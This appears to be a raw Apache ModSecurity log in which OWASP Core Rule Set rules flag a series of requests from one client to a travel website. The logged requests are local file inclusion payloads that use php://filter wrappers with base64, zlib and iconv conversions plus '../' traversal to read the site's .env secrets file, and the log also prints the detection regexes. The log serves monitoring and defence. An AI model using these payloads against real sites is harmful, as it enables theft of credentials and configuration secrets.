[Fri Jul 17 08:55:11.714363 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AbwAAAAU"]
[Fri Jul 17 08:55:11.714698 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:dir: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AbwAAAAU"]
[Fri Jul 17 08:55:11.715741 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AbwAAAAU"]
[Fri Jul 17 08:55:11.715886 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.716184 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglxAi3pC6yjXGNq2AbwAAAAU"]
[Fri Jul 17 08:55:11.720334 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:show: php://filter/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8igAAABA"]
[Fri Jul 17 08:55:11.721358 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8igAAABA"]
[Fri Jul 17 08:55:11.721523 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.721856 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0kXT4NBqALj2lZ8igAAABA"]
[Fri Jul 17 08:55:11.726118 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&show=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&extra=W1hEAOyIuB8YjSaKTOHs8hAGX0lB1AZ-ffbE4URP7dw4I-iEXdsqJ6lmSVBwXfgQ1k1AtIiDKonjr3kTl1bHT7zPHJURUAY7P29aQzvB7OHr_QjYLXDw9yhUaq5WtOvZOXGqaLz2wHUUtCxmcQ3-K9Ndvrxtgrs30t6lDlH-IOhq_iRnCkBWm78Z9veCZIOD7rU9D3yxVcMOkMBsLOH52GKxPMP3WGOshzrnttKv7bwMXq3bQbFQkZzjVEJKAVOL-MtqUFf6tsl1KsE11n0Ju6y4&anything=VNT5K5CVS3QJSW5OCSOLJJ6K5DX3IERYF6W3WM2ZNEEYSCAZIFI6EWMVY3HS34BERYXOSBW..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJQAAABQ"]
[Fri Jul 17 08:55:11.726179 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJQAAABQ"]
[Fri Jul 17 08:55:11.726241 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&show=php://filter/convert.base64-encode/resource=../../../.env&extra=W1hEAOyIuB8YjSaKTOHs8hAGX0lB1AZ-ffbE4URP7dw4I-iEXdsqJ6lmSVBwXfgQ1k1AtIiDKonjr3kTl1bHT7zPHJURUAY7P29aQzvB7OHr_QjYLXDw9yhUaq5WtOvZOXGqaLz2wHUUtCxmcQ3-K9Ndvrxtgrs30t6lDlH-IOhq_iRnCkBWm78Z9veCZIOD7rU9D3yxVcMOkMBsLOH52GKxPMP3WGOshzrnttKv7bwMXq3bQbFQkZzjVEJKAVOL-MtqUFf6tsl1KsE11n0Ju6y4&anything=VNT5K5CVS3QJSW5OCSOLJJ6K5DX3IERYF6W3WM2ZNEEYSCAZIFI6EWMVY3HS34BERYXOSBW7IHUILH5ZGKCGQLNZMVKQ6YCAY..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJQAAABQ"]
[Fri Jul 17 08:55:11.726279 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&show=php://filter/convert.base64-encode/resource=../../../.env&extra=w1heaoyiub8yjsaktohs8hagx0lb1az-ffbe4urp7dw4i-iexdsqj6lmsvbwxfgq1k1atiidkonjr3ktl1bht7zphjuruay7p29aqzvb7ohr_qjylxdw9yhuaq5wtovzoxgqalz2whuutcxmcq3-k9ndvrxtgrs30t6ldlh-iohq_irnckbwm78z9vecziod7ru9d3yxvcmokmbsloh52gkxpmp3wgoshzrnttkv7bwmxq3bqbfqkzzjvejkavol-mtquff6tsl1kse11n0ju6y4&anything=vnt5k5cvs3qjsw5ocsoljj6k5dx3ieryf6w3wm2zneeyscazifi6ewmvy3hs34beryxosbw7ihuilh5zgkcgqlnzmvkq6ycay..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJQAAABQ"]
[Fri Jul 17 08:55:11.726306 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJQAAABQ"]
[Fri Jul 17 08:55:11.726335 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJQAAABQ"]
[Fri Jul 17 08:55:11.726667 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:show: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJQAAABQ"]
[Fri Jul 17 08:55:11.727691 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&show=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&extra=2UnebSGnOcIRetOT_1ahpI9mkroBP0exTaBGivKIzGbMcY3CLwffn1_o48iQB7-1O7fO3C2gZi7TOCqnF-miavzQltHkHHOpLX5rgozmlA8M6_dVSfFUyF_N-iLhno_-ihJjfLazwmTkNmO0GYz9OiTODKhUT2PesTKi_i2Jo94A-Yo5ThsCxOvpBLAOvz78LHfLwP2ps7fWXzpInQzTevkj1uo01KyNIJ8BLZ9tV2bfKVQbdmCDjoTaZRUOFbBdljjTiOOl5NnJeBlwzpY2Q-G-&debug=QEMPRGCLNSU5PSEVTHJ2RLWL4LHE3Q2MPMCJBI7P2NCTFEOT5V3SQUSP4O5X4VRE37YAQLKJAO2WY2D..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MOQAAAAc"]
[Fri Jul 17 08:55:11.727732 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MOQAAAAc"]
[Fri Jul 17 08:55:11.727730 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJQAAABQ"]
[Fri Jul 17 08:55:11.727799 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&show=php://filter/convert.base64-encode/resource=../../.env&extra=2UnebSGnOcIRetOT_1ahpI9mkroBP0exTaBGivKIzGbMcY3CLwffn1_o48iQB7-1O7fO3C2gZi7TOCqnF-miavzQltHkHHOpLX5rgozmlA8M6_dVSfFUyF_N-iLhno_-ihJjfLazwmTkNmO0GYz9OiTODKhUT2PesTKi_i2Jo94A-Yo5ThsCxOvpBLAOvz78LHfLwP2ps7fWXzpInQzTevkj1uo01KyNIJ8BLZ9tV2bfKVQbdmCDjoTaZRUOFbBdljjTiOOl5NnJeBlwzpY2Q-G-&debug=QEMPRGCLNSU5PSEVTHJ2RLWL4LHE3Q2MPMCJBI7P2NCTFEOT5V3SQUSP4O5X4VRE37YAQLKJAO2WY2DYPYUPUI4VN3BXU7Q3JY5J3EM..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MOQAAAAc"]
[Fri Jul 17 08:55:11.727858 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.727857 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&show=php://filter/convert.base64-encode/resource=../../.env&extra=2unebsgnociretot_1ahpi9mkrobp0extabgivkizgbmcy3clwffn1_o48iqb7-1o7fo3c2gzi7tocqnf-miavzqlthkhhoplx5rgozmla8m6_dvsffuyf_n-ilhno_-ihjjflazwmtknmo0gyz9oitodkhut2pestki_i2jo94a-yo5thscxovpblaovz78lhflwp2ps7fwxzpinqztevkj1uo01kynij8blz9tv2bfkvqbdmcdjotazruofbbdljjtiool5nnjeblwzpy2q-g-&debug=qemprgclnsu5psevthj2rlwl4lhe3q2mpmcjbi7p2nctfeot5v3squsp4o5x4vre37yaqlkjao2wy2dypyupui4vn3bxu7q3jy5j3em..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MOQAAAAc"]
[Fri Jul 17 08:55:11.727891 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MOQAAAAc"]
[Fri Jul 17 08:55:11.727921 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MOQAAAAc"]
[Fri Jul 17 08:55:11.727995 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&show=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F.env&cb=csvYGpsfUeYga1pQYBzHHBcu2YmceONXQAmzmD1x_d8EOneoU4Yh1ND1CEYfSKazrqPY_QYcV41JdVKbAs83t0685KBEnk4wud9M14P7w5WCVYDvJKy75hVVb9bBrs9q_X11tMCsPg0hlWmnPG6MTu-uMoDAyBHWeJwazSVmq1ZsAHnFtE1ijCMAz49-pmum6ww4CDJ1xxkqvTJTWk8kwZ3lWNL-3SY7gJRwEHAXd4GPBPQvuQSNhzq13yDha99jOclBkSZPyIIF_sW12j3-VdcH&sid=Z3N6ICU2GBHHSBF2X2JGCDHXP2VI4KJ3D7577C7F74XJQ5BYMCASNE6UTQPJLEJO2KDSYESSV5OX4R4K..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSdwAAAB4"]
[Fri Jul 17 08:55:11.728031 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSdwAAAB4"]
[Fri Jul 17 08:55:11.728087 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&show=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&cb=csvYGpsfUeYga1pQYBzHHBcu2YmceONXQAmzmD1x_d8EOneoU4Yh1ND1CEYfSKazrqPY_QYcV41JdVKbAs83t0685KBEnk4wud9M14P7w5WCVYDvJKy75hVVb9bBrs9q_X11tMCsPg0hlWmnPG6MTu-uMoDAyBHWeJwazSVmq1ZsAHnFtE1ijCMAz49-pmum6ww4CDJ1xxkqvTJTWk8kwZ3lWNL-3SY7gJRwEHAXd4GPBPQvuQSNhzq13yDha99jOclBkSZPyIIF_sW12j3-VdcH&sid=Z3N6ICU2GBHHSBF2X2JGCDHXP2VI4KJ3D7577C7F74XJQ5BYMCASNE6UTQPJLEJO2KDSYESSV5OX4R4KP5ODJVFVUQG2QUEDF7KHJYD6..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSdwAAAB4"]
